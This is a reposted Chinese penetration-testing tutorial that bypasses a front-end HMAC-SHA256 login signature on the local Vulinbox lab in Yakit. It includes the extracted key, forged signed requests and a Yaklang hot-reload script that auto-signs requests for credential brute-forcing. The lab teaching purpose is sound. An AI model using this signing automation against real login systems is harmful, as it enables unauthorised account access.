渗透测试-前端验签绕过之SHA256

news/2024/12/14 7:36:10/文章来源:https://www.cnblogs.com/CVE-Lemon/p/18606207

本文是高级前端加解密与验签实战的第1篇文章,本系列文章实验靶场为Yakit里自带的Vulinbox靶场,本文讲述的是绕过SHA256签名来爆破登录。

绕过

通过查看源代码可以看到key为

1234123412341234

通过查看源代码可以看到是通过SHA256来进行签名的,他把请求体的username和password字段提取,然后进行加密。

username=admin&password=admin123

使用Cyberchief加密,最终得到加密值为:fc4b936199576dd7671db23b71100b739026ca9dcb3ae78660c4ba3445d0654d

可以看到自己计算和前端计算的一致:

修改密码,重新构造签名:

username=admin&password=666666
=>
26976ad249c29595c3e9e368d9c3bc772b5a27291515caddd023d69421b7ffee

发送请求,可以看到验签成功,密码正确登陆成功,自此签名绕过成功。

POST /crypto/sign/hmac/sha256/verify HTTP/1.1
Host: 127.0.0.1:8787
Content-Type: application/json{"signature": "26976ad249c29595c3e9e368d9c3bc772b5a27291515caddd023d69421b7ffee","key": "31323334313233343132333431323334","username": "admin","password": "666666"
}

热加载

这是我写的热加载代码,通过beforeRequest劫持请求包,使用encryptData函数进行加密,最终实现热加载自动签名功能。

encryptData = (packet) => {body = poc.GetHTTPPacketBody(packet)params = json.loads(body)//获取账号和密码name = params.usernamepass  = params.passwordkey = "31323334313233343132333431323334"    //十六进制密钥//HmacSha256加密signText = f`username=${name}&password=${pass}`sign = codec.EncodeToHex(codec.HmacSha256(f`${codec.DecodeHex(key)~}`, signText))//构造请求体result = f`{"username":"${name}","password":"${pass}","signature":"${sign}","key":"${key}"}`return string(poc.ReplaceBody(packet, result, false))
}//发送到服务端修改数据包
// beforeRequest = func(req){
//     return encryptData(req)
// }//调试用
packet = <<<TEXT
POST /crypto/sign/hmac/sha256/verify HTTP/1.1
Host: 127.0.0.1:8787
Content-Type: application/json
Content-Length: 179{"username":"admin","password":"admin123"}
TEXT
result = (encryptData(packet))
print(result)

调试结果如下:

beforeRequest取消注释,添加到Web Fuzzer模块的热加载中:

保存后发送请求,热加载成功实现自动签名功能。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/852358.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

如何跨越心理距离,构建客户信任桥梁

销售活动本质上是销售人员与相对陌生或不够熟悉的对象建立联系的过程。在此过程中,销售人员面对的客户可能是完全陌生的,或是虽有数次交集却彼此了解不深。这种情形自然导致了双方心理上的显著距离,进而引发客户的疑虑与不信任,对可能遭遇的欺骗保持警惕,实属人之常情。 因…

使用 LatestCSharpFeatures 库让旧版本 dotnet 框架项目使用新 C# 语法

本文将和大家介绍 dotnet campus 开源组织的 LatestCSharpFeatures 库,通过 LatestCSharpFeatures 库可以让使用旧版本的 dotnet 框架的项目可以应用上更多最新版本的 C# 语法背景 众所周知,在咱 dotnet 体系里面,框架和语言版本是分离的。即使 C# 的版本支持情况只和编译器…

【Hadoop框架】生态组件之分布式文件系统 HDFS 可视化界面

一、Overview 二、Datanodes 三、Datanode Volume Failures 四、Snapshot 五、Startup Progress 六、Utilities6.1 Browse the file system6.2 Logs6.3 Log Level6.4 Metrics6.5 Configuration6.6 Process Thread Dump6.7 Network TopologyHDFS 提供了 Web 管理界面,可以很方便…

【Hadoop框架】Yarn 核心组件+工作流程+基本使用

一、Yarn的基本概念和架构二、Yarn的工作流程三、Yarn的核心组件及其功能 ‌ 3.1 ResourceManager‌3.2 NodeManager3.3 ApplicationMaster四、Yarn的基本使用4.1 Yarn Shell 命令4.2 Yarn Shell 使用示例4.2.1 首先确定 Yarn 集群启动4.2.2 发起任务4.2.3 查看任务4.2.4 终止…

基于中间畸变流估计的滚动快门校正

基于中间畸变流估计的滚动快门校正提出通过直接估计从全局快门(GS)到滚动快门(RS)的失真,来校正滚动快门(SS)失真的图像。现有的方法通常使用从RS到GS的未失真流进行校正。它们最初从连续的RS帧预测流,随后使用时间相关的缩放因子将其重新缩放为从RS帧到底层GS图像的位…

鸿蒙NEXT开发案例:颜文字搜索器

【引言】 本文将介绍一个名为“颜文字搜索器”的开发案例,该应用是基于鸿蒙NEXT平台构建的,旨在帮助用户快速查找和使用各种风格的表情符号。通过本案例的学习,读者可以了解如何在鸿蒙平台上进行数据处理、UI设计以及交互逻辑的实现。 【环境准备】 • 操作系统:Windows 10…

CycleINR:任意尺度医学数据三维超分辨率的循环隐式神经表示

CycleINR:任意尺度医学数据三维超分辨率的循环隐式神经表示在医学3D数据领域,如CT和MRI图像,普遍的各向异性分辨率的特点是层内分辨率高,但层间分辨率低。相邻切片之间的分辨率降低带来了挑战,阻碍了最佳的观看体验,并阻碍了稳健的下游分析算法的发展。各种体积超分辨率算…

用于大规模单像素成像的双尺度变换器

用于大规模单像素成像的双尺度变换器单像素成像(SPI)是一种潜在的计算成像技术,通过解决单像素探测器捕获的少量测量值中的病态重建问题来产生图像。深度学习在SPI重构方面取得了令人瞩目的成功。然而,之前较差的重建性能和不切实际的成像模型,限制了其在现实世界中的应用…

应用题3

这道题知识点参考书116页二叉树遍历相关知识。 知识点:二叉树中序遍历,后序遍历的顺序是什么如何将一棵二叉树转化为树(或森林)中序遍历(左->根->右)后序遍历(左->右->根)根据中序遍历和后序遍历的特点,我们可以知道,中序遍历中根节点在中间,后序遍历中…

河北知识付费系统热门课程是什么

在当今科技快速发展的社会环境中,教育领域也随之发生着深刻的变革。尤其是随着互联网及数字媒体的应用日渐普及,知识付费及在线教育成为了新时代学习者的优选途径。河北的知识付费系统通过其丰富的教学资源与创新的教学模式满足了不同年龄、层次的学习者多样化的需求。为了回…

转载:【AI系统】AI 框架作用

深度学习范式主要是通过发现经验数据中,错综复杂的结构进行学习。通过构建包含多个处理层的计算模型(网络模型),深度学习可以创建多个级别的抽象层来表示数据。例如,卷积神经网络 CNN 可以使用大量图像进行训练,例如对猫狗分类去学习猫和狗图片的特征。这种类型的神经网络…

转载:【AI系统】卷积操作原理

卷积是神经网络里面的核心计算之一,它是一种特殊的线性运算。而卷积神经网络(CNN)是针对图像领域任务提出的神经网络,其受猫的视觉系统启发,堆叠使用卷积层和池化层提取特征。它在 CV 领域方面的突破性进展引领了深度学习的热潮。 回到卷积本身,其变种丰富、计算复杂,神…